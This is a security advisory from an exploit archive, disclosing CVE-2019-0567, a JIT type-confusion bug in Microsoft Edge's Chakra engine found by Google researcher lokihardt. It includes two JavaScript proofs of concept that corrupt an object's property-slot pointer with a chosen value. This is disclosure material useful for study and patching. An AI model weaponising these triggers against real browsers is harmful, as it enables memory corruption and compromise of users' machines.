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Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion

Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion
Posted Jan 17, 2019
Authored by Google Security Research, lokihardt

Microsoft Edge has an issue where NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

tags | exploit
advisories | CVE-2019-0567
MD5 | 46eb78a54630f51f57be7bcdca2fa397

Microsoft Edge Chakra JIT NewScObjectNoCtor / InitProto Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto 

CVE-2019-0567


NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234.

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
o.b = 1;

new cons();

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
cons.prototype = {};

let o = {a: 1, b: 2};
opt(o, {});
}

let o = {a: 1, b: 2};

cons.prototype = o;

opt(o, 0x1234);

print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
o.b = 1;

let tmp = {__proto__: proto};

o.a = value;
}

function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, {}, {});
}

let o = {a: 1, b: 2};

opt(o, o, 0x1234);

print(o.a);
}

main();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: lokihardt

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